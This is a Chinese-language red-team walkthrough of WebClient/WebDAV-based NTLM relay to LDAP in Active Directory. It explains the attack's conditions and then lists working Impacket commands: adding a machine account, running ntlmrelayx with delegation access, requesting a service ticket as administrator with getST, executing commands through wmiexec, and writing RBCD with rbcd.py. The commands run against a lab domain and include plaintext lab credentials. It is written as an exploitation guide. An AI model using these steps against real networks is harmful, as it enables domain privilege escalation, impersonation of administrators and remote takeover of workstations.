webclient http self relay
Web 分布式创作和版本控制 (WebDAV) 是超文本传输协议 (HTTP) 的扩展,它定义了如何使用 HTTP ( docs.microsoft.com )执行复 制、移动、删除和创建等基本文件功能 需要启用 WebClient 服务才能使基于 WebDAV 的程序和功能正常工作。事实证明,攻击者可以间接滥用 WebClient 服务来强制进行身份验证。这种技 术需要与其他强制技术(例如PetitPotam、PrinterBug)结合起来,作为这些技术的助推器。,从而提高NTLM 中继能力。当对启用 WebDAV 的 UNC 路径触发文件操作时,身份验证主机将执行以下操作:
-
发出一个 OPTIONS 方法来发现 Web 服务器支持的功能,
-
如果支持 PROPFIND,则发出 PROPFIND 请求方法来发现目录结构,
-
如果 Web 服务器以 401 Unauthorized 响应并通过 WWW-Authenticate 标头请求 NTLM 身份验证,则 WebDAV 迷你重定向器将继续启动 NTLM 质询响应身份验证,最终将 NetNTLM 哈希提供给 Web 服务器。
身份验证的整体流程可能如下所示:
在 Active Directory 的默认配置中,可以在其 WebClient 服务运行时远程接管工作站 (Windows 7/10/11) 和可能的服务器(如果安装 了桌面体验)。简而言之,这是通过以下方式完成的:
-
通过 MS-RPRN 或 MS-EFSRPC 通过 HTTP 触发机器身份验证,这需要一组用于 RPC 调用的凭据。
-
将该机器身份验证中继到 LDAP/LDAPS 以配置 RBCD/Shadow Credentials
需要注意的是,WebClient 服务不会在启动时自动启动。但是,如果已触发 WebClient 服务在工作站上启动,就可以远程接管该系统。在强制身份验证中, WebDAV 可以代替 SMB,通过以下格式的 UNC 路径访问攻击者的 HTTP 服务器:尽管这种路径与 SMB 协议中默认的 UNC 路径差别很小,但带来的影响非常巨大。效果上最明显的区别在于,客户端不再使用 SMB 协议,而是会使用HTTP 协议(WebDAV),从而在 Relay To LDAP/s 中绕过签名。并且,这样做还有一个好处就是攻击者的 HTTP 服务器可以在任何端口上运行,从红队的角度来看,这提供了很大的灵活性,其允许我们避免处理已经绑定的 SMB 端口。
利用:在客户端机器上启动 WebClient 服务,然后通过 WebClient 执行 NTLM Relay To LDAP/s,为当前机器设置 msDS- KeyCredentialLink 或 msDS-AllowedToActOnBehalfOfOtherIdentity 属性,并最终通过 Shadow Credentials 或 RBCD 提升权限。
利用条件
1.WebClient服务需要在目标上运行。2.默认情况下,Web 客户端只会自动对 Intranet 区域中的主机进行身份验证,WebClient 仅对本地内部网(Local Intranet)或受信任 的站点(Trusted Sites)列表中的目标使用 “默认凭据” 进行身份验证。实现目的的一种方法是使用攻击主机的内部netbios名称(无句 点)或者利用dnstool.py 为攻击者添加dns来完成。3.必须禁用 LDAP 签名/通道绑定(默认设置)。4.用于强制 HTTP 身份验证必须用netbios名称进行认证。
利用
1.建立socks连接
2.检查webclient状态
1.利用webclientservicescanner查询
如果webclient未开启,低权限可以用StartWebClientSvc.o来打开
2.利用sc服务查询
3.使用crackmapexec检查
3.开启端口转发
1.添加RBCD
1.添加域机器QAZ$
python3 addcomputer.py -method SAMR -dc-ip 192.168.130.130 -computer-name QAZ -computer-pass 1qaz@WSX "redteam.lab/carn2:Qq123456.."
2.ntlmrelayx.py监听,添加到QAZ$的基于资源约束委派
python3 ntlmrelayx.py -domain redteam.lab -t ldap://192.168.130.130 --delegate-access --escalate-user QAZ$
3.rfsrpc触发回连
4.以管理员的名义getst
python3 getST.py -dc-ip 192.168.130.130 -spn cifs/win-10.redteam.lab redteam.lab/QAZ$:'1qaz@WSX' -impersonate administrator
export KRB5CCNAME=administrator.ccache
python3 wmiexec.py -no-pass -k administrator@win-10.redteam.lab -dc-ip 192.168.130.
addcomputer
python3 addcomputer.py -method SAMR -dc-ip 192.168.134.130 -computer-name evil-op$ -computer-pass Qq123456.. "redteam.lab/op:Qq123456.."
addRBCD
python3 rbcd.py redteam.lab/administrator:Qq123456.. -action write -delegate-to 'testcomputers$' -delegate-from 'evil-op$' -dc-ip 192.168.134.130